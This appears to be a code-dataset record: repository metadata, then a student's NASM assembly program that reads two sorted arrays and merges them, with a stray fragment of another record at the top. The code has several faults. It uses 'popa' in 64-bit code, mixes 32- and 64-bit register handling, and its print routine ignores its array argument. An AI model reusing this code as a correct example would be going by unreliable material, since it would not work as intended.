$3,$4 lpe mov $0,$1
43.941176
499
0.75502
10515ce38e7603eebe628f50dfa30cc7cee57158
8,322
asm
Assembly
nasm assembly/test -1/abhi_test.asm
AI-Factor-y/NASM-library
5141901352a47b73e716e27d628bb719f1891092
[ "Apache-2.0" ]
null
null
null
nasm assembly/test -1/abhi_test.asm
AI-Factor-y/NASM-library
5141901352a47b73e716e27d628bb719f1891092
[ "Apache-2.0" ]
null
null
null
nasm assembly/test -1/abhi_test.asm
AI-Factor-y/NASM-library
5141901352a47b73e716e27d628bb719f1891092
[ "Apache-2.0" ]
null
null
null
section .data msg1 : db 'debug here --',10 l1 : equ $-msg1 msg2 : db 'enter the size of array 1 (n1): ' l2 : equ $-msg2 msg3 : db 'enter the sorted array 1 (ascending) : ',10 l3 : equ $-msg3 msg4 : db 'enter the size of array 2 (n2): ' l4: equ $-msg4 msg5 : db 'enter the sorted array 2 (decending) : ',10 l5: equ $-msg5 msg6 : db 'the merged array is (ascending) =>',10 l6: equ $-msg6 space:db ' ' newline:db '',10 section .bss num: resd 1 counter: resd 1 n: resd 10 array: resd 50 n1: resd 10 n2: resd 10 array1: resd 50 array2: resd 50 merged: resd 100 merge_count: resd 1 section .text global _start _start: mov eax, 4 mov ebx, 1 mov ecx, msg2 mov edx, l2 int 80h call read_num mov ax,word[num] mov [n1],ax mov eax, 4 mov ebx, 1 mov ecx, msg3 mov edx, l3 int 80h mov ebx, array1 mov ax,word[n1] mov [n],ax call read_array mov eax, 4 mov ebx, 1 mov ecx, msg4 mov edx, l4 int 80h call read_num mov ax,word[num] mov [n2],ax mov eax, 4 mov ebx, 1 mov ecx, msg5 mov edx, l5 int 80h mov ebx, array2 mov ax,word[n2] mov [n],ax call read_array call merge_array ;; array have been merged .. now print the array mov eax, 4 mov ebx, 1 mov ecx, msg6 mov edx, l6 int 80h mov ebx,merged mov eax,[merge_count] mov [n],eax mov eax , 0 call print_array exit: mov eax,1 mov ebx,0 int 80h ; section for procedures ;---------------------------- merge_array: section .bss cond1: resb 1 cond2: resb 1 num1: resd 1 num2: resd 1 counterFirst: resd 1 counterSecond: resd 1 section .text push rax push rbx push rcx mov ebx, array1 mov eax,0 mov word[counterFirst],0 mov ax, word[n2] mov word[counterSecond],ax mov word[merge_count],0 mov eax,0 loop1: mov eax,[counterFirst] cmp eax,dword[n1] setb cl mov byte[cond1], cl mov eax,[counterSecond] cmp eax, 1 setae cl mov byte[cond2], cl mov bl, [cond1] mov cl,[cond2] and bl,cl cmp bl,1 jne exit_loop1 ; call debugger mov ebx, array1 ;; taking num1 = array1[i] mov eax, [counterFirst] mov cx,word[ebx+2*eax] mov word[num1],cx dec word[counterSecond] mov ebx, array2 mov eax, [counterSecond] ;; taking num2 = array2[j] mov cx,word[ebx+2*eax] mov word[num2],cx inc word[counterSecond] ; mov bx,word[num1] ; mov word[num], bx ; call print_num ; mov word[num], cx ; call print_num cmp word[num1],cx jbe selec_num1 mov cx,word[num2] mov ebx,merged mov eax,[merge_count] ; call debugger mov word[ebx+2*eax],cx inc word[merge_count] dec word[counterSecond] jmp exit_check_cond selec_num1: mov cx,word[num1] mov ebx,merged mov eax,[merge_count] ; call debugger2 mov word[ebx+2*eax],cx inc word[merge_count] inc word[counterFirst] exit_check_cond: jmp loop1 exit_loop1: loop2: mov eax,[counterFirst] cmp eax,dword[n1] jae exit_loop2 mov ebx, array1 ;; taking num1 = array1[i] mov eax, [counterFirst] mov cx,word[ebx+2*eax] mov word[num1],cx mov cx,word[num1] ; putting residue values to merge array mov ebx,merged mov eax,[merge_count] mov word[ebx+2*eax],cx inc word[merge_count] inc word[counterFirst] jmp loop2 exit_loop2: loop3: mov eax,[counterSecond] cmp eax,1 jb exit_loop3 dec word[counterSecond] mov ebx, array2 ;; taking num2 = array2[i] mov eax, [counterSecond] mov cx,word[ebx+2*eax] mov word[num2],cx mov cx,word[num2] inc word[counterSecond] ; putting residue values to merge array mov ebx,merged mov eax,[merge_count] mov word[ebx+2*eax],cx inc word[merge_count] dec word[counterSecond] jmp loop3 exit_loop3: pop rcx pop rbx pop rax ret debugger2: section .data msg_debugger2 : db 'execution stops here',10 msg_debugger_l2 : equ $-msg_debugger2 section .text push rax push rbx push rcx ; debug---- mov eax, 4 mov ebx, 1 mov ecx, msg_debugger2 mov edx, msg_debugger_l2 int 80h ;debug --- pop rcx pop rbx pop rax ; action ret debugger: section .data msg_debugger : db 'debug here --',10 msg_debugger_l : equ $-msg_debugger section .text push rax push rbx push rcx ; debug---- mov eax, 4 mov ebx, 1 mov ecx, msg_debugger mov edx, msg_debugger_l int 80h ;debug --- pop rcx pop rbx pop rax ; action ret print_array: ; usage ;------- ; 1: base address of array in ebx mov ebx,array ; 2: size of array in n push rax ; push all push rbx push rcx mov eax,0 print_loop: cmp eax,dword[n] je end_print1 mov cx,word[ebx+2*eax] mov word[num],cx ;;The number to be printed is copied to ’num’ ; before calling print num function push rax push rbx call print_num pop rbx pop rax inc eax jmp print_loop end_print1: ; popa pop rcx pop rbx pop rax ; pop all ret read_array: ; usage ;------- ; 1: base address of array in ebx ; 2: size of array in n push rax ; push all push rbx push rcx mov eax ,0 read_loop: cmp eax,dword[n] je end_read_1 push rax push rbx call read_num pop rbx pop rax ;;read num stores the input in ’num’ mov cx,word[num] mov word[ebx+2*eax],cx inc eax ;;Here, each word consists of two bytes, so the counter should be ; incremented by multiples of two. If the array is declared in bytes do mov word[ebx+eax],cx jmp read_loop end_read_1: pop rcx pop rbx pop rax ; pop all ret print_num: ;usage ;------ ; 1: create a variable num(word) ; 2: move number to print to num (word) section .data nwl_for_printnum :db ' ',10 nwl_l_printnum : equ $-nwl_for_printnum section .bss count_printnum : resb 10 temp_printnum : resb 1 section .text push rax ; push all push rbx push rcx mov byte[count_printnum],0 ;call push_reg extract_no: cmp word[num], 0 je print_no inc byte[count_printnum] mov dx, 0 mov ax, word[num] mov bx, 10 div bx push dx ; recursion here mov word[num], ax jmp extract_no print_no: cmp byte[count_printnum], 0 je end_print dec byte[count_printnum] pop dx mov byte[temp_printnum], dl ; dx is further divided into dh and dl add byte[temp_printnum], 30h mov eax, 4 mov ebx, 1 mov ecx, temp_printnum mov edx, 1 int 80h jmp print_no end_print: mov eax,4 mov ebx,1 mov ecx,nwl_for_printnum mov edx,nwl_l_printnum int 80h ;;The memory location ’newline’ should be declared with the ASCII key for new popa ;call pop_reg pop rcx pop rbx pop rax ; pop all ret read_num: ;usage ;------ ; 1: create a variable num(word) ; 2: the input number is stored into num(word) section .bss temp_for_read: resb 1 section .text push rax ; push all push rbx push rcx mov word[num], 0 loop_read: ;; read a digit mov eax, 3 mov ebx, 0 mov ecx, temp_for_read mov edx, 1 int 80h ;;check if the read digit is the end of number, i.e, the enter-key whose ASCII cmp byte[temp], 10 cmp byte[temp_for_read], 10 je end_read mov ax, word[num] mov bx, 10 mul bx mov bl, byte[temp_for_read] sub bl, 30h mov bh, 0 add ax, bx mov word[num], ax jmp loop_read end_read: ;;pop all the used registers from the stack using popa ;call pop_reg pop rcx pop rbx pop rax ret
14.153061
99
0.577505